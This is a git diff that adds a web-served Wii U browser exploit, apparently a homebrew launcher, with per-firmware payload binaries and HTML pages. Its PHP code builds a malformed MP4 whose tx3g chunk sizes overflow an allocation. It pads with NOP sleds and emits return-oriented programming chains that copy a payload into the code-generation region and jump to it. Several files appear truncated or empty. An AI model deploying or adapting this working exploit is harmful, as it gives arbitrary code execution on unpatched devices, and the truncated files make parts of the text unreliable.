diff --git a/www/homebrew_launcher/code400.bin b/www/homebrew_launcher/code400.bin new file mode 100644 index 0000000..7f4500a Binary files /dev/null and b/www/homebrew_launcher/code400.bin differ diff --git a/www/homebrew_launcher/code410.bin b/www/homebrew_launcher/code410.bin new file mode 100644 index 0000000..df07fff Binary files /dev/null and b/www/homebrew_launcher/code410.bin differ diff --git a/www/homebrew_launcher/code500.bin b/www/homebrew_launcher/code500.bin new file mode 100644 index 0000000..2daafd4 Binary files /dev/null and b/www/homebrew_launcher/code500.bin differ diff --git a/www/homebrew_launcher/code532.bin b/www/homebrew_launcher/code532.bin new file mode 100644 index 0000000..1d11c8d Binary files /dev/null and b/www/homebrew_launcher/code532.bin differ diff --git a/www/homebrew_launcher/code550.bin b/www/homebrew_launcher/code550.bin new file mode 100644 index 0000000..c347418 Binary files /dev/null and b/www/homebrew_launcher/code550.bin differ diff --git a/www/homebrew_launcher/frame.html b/www/homebrew_launcher/frame.html new file mode 100644 index 0000000..9061fea --- /dev/null +++ b/www/homebrew_launcher/frame.html @@ -0,0 +1,25 @@ + + + + + + diff --git a/www/homebrew_launcher/index.html b/www/homebrew_launcher/index.html new file mode 100644 index 0000000..62f3919 --- /dev/null +++ b/www/homebrew_launcher/index.html @@ -0,0 +1,111 @@ + + + + +
+ + + + diff --git a/www/homebrew_launcher/payload.php b/www/homebrew_launcher/payload.php new file mode 100644 index 0000000..0982941 --- /dev/null +++ b/www/homebrew_launcher/payload.php @@ -0,0 +1,143 @@ += 0x6000) + { + header("HTTP/1.1 500 Internal Server Error"); + die("The payload binary is too large.\n"); + } + + while($i+4 < 0x5000) + { + $con.= pack("N*", 0x90909090); + $i+= 4; + } + + continue; + } + else + { + $writeval = 0x58585858; + } + } + else if($i<$tx3g_ropchain_start) + { + $writeval = $ROP_POPJUMPLR_STACK12; + } + else if($i==$tx3g_ropchain_start) + { + $con.= pack("N*", $ROP_POPJUMPLR_STACK12); + $con.= pack("N*", 0x48484848);//If LR ever gets loaded from here there's no known way to recover from that automatically, this code would need manually adjusted if that ever happens. Hopefully this doesn't ever happen. + $i+= 0x8; + $con.= $ROPCHAIN; + $i+= strlen($ROPCHAIN)-4; + + if($i+4 > $first_tx3g_size-8) + { + header("HTTP/1.1 500 Internal Server Error"); + $pos = ($i+4) - ($first_tx3g_size-8); + die("The generated ROP-chain is $pos bytes too large.\n"); + } + + continue; + } + else + { + $writeval = 0x48484848; + } + + $con.= pack("N*", $writeval); +} + +$con.= pack("N*", 0x1c5);//Setup the mdia chunk. +$con.= pack("N*", 0x6d646961); + +$con.= pack("N*", 0x1);//Setup the second tx3g chunk: size+chunkid, followed by the actual chunk size in u64 form. +$con.= pack("N*", 0x74783367); +$con.= pack("N*", 0x1); +$con.= pack("N*", 0x100000000-$first_tx3g_size);//Haxx buffer alloc size passed to the memalloc code is 0x100000000. + +for($i=0; $i<0x2000; $i+=4)//Old stuff, probably should be removed(testing is required for that). +{ + $con.= pack("N*", 0x8495a6b4); +} + +header("Content-Type: video/mp4"); + +echo $con; + +?> diff --git a/www/homebrew_launcher/payload400.html b/www/homebrew_launcher/payload400.html new file mode 100644 index 0000000..670e21b --- /dev/null +++ b/www/homebrew_launcher/payload400.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload410.html b/www/homebrew_launcher/payload410.html new file mode 100644 index 0000000..68ff450 --- /dev/null +++ b/www/homebrew_launcher/payload410.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload500.html b/www/homebrew_launcher/payload500.html new file mode 100644 index 0000000..025f27d --- /dev/null +++ b/www/homebrew_launcher/payload500.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload532.html b/www/homebrew_launcher/payload532.html new file mode 100644 index 0000000..144b137 --- /dev/null +++ b/www/homebrew_launcher/payload532.html @@ -0,0 +1,649 @@ + \ No newline at end of file diff --git a/www/homebrew_launcher/wiiu_browserhax_common.php b/www/homebrew_launcher/wiiu_browserhax_common.php new file mode 100644 index 0000000..302cb5d --- /dev/null +++ b/www/homebrew_launcher/wiiu_browserhax_common.php @@ -0,0 +1,440 @@ +); + + ropchain_appendu32($r28);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); + + ropgen_OSFatal($outstr); +} + +function ropgen_switchto_core1() +{ + global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31; + + ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below. + + ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(, 0x2); + + ropchain_appendu32($ROP_OSYieldThread);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); + + ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31); + + ropchain_appendu32(0x0);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); +} + +function generateropchain_type1() +{ + global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN; + + $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. + $codegen_addr = 0x01800000; + //$payload_srcaddr must be defined by the code including this .php. + + //ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow. + + //ropchain_appendu32(0x80808080);//Trigger a crash. + + //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); + + ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. + + ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); + + //ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white. + + $regs = array(); + $regs[24 - 24] = $ROP_OSFatal;//r24 + $regs[25 - 24] = $ROP_Exit;//r25 + $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 + $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 + $regs[28 - 24] = $ROP_os_snprintf;//r28 + $regs[29 - 24] = $payload_srcaddr;//r29 + $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. + $regs[31 - 24] = $ROPHEAP;//r31 + + ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. + + ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. + + //Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted. + ropchain_appendu32(0x0); + ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); + ropgen_pop_r24_to_r31($regs); + ropchain_appendu32($codegen_addr); +} + +?> diff --git a/www/homebrew_launcher/wiiuhaxx_common_cfg.php b/www/homebrew_launcher/wiiuhaxx_common_cfg.php new file mode 100644 index 0000000..06b7353 --- /dev/null +++ b/www/homebrew_launcher/wiiuhaxx_common_cfg.php @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/www/homebrew_launcher/wiiuhaxx_loader.bin b/www/homebrew_launcher/wiiuhaxx_loader.bin new file mode 100644 index 0000000..ac141af Binary files /dev/null and b/www/homebrew_launcher/wiiuhaxx_loader.bin differ diff --git a/www/homebrew_launcher/wiiuhaxx_rop_sysver_532.php b/www/homebrew_launcher/wiiuhaxx_rop_sysver_532.php new file mode 100644 index 0000000..611050c --- /dev/null +++ b/www/homebrew_launcher/wiiuhaxx_rop_sysver_532.php @@ -0,0 +1,29 @@ + diff --git a/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php b/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php new file mode 100644 index 0000000..30ca5c7 --- /dev/null +++ b/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php @@ -0,0 +1,29 @@ +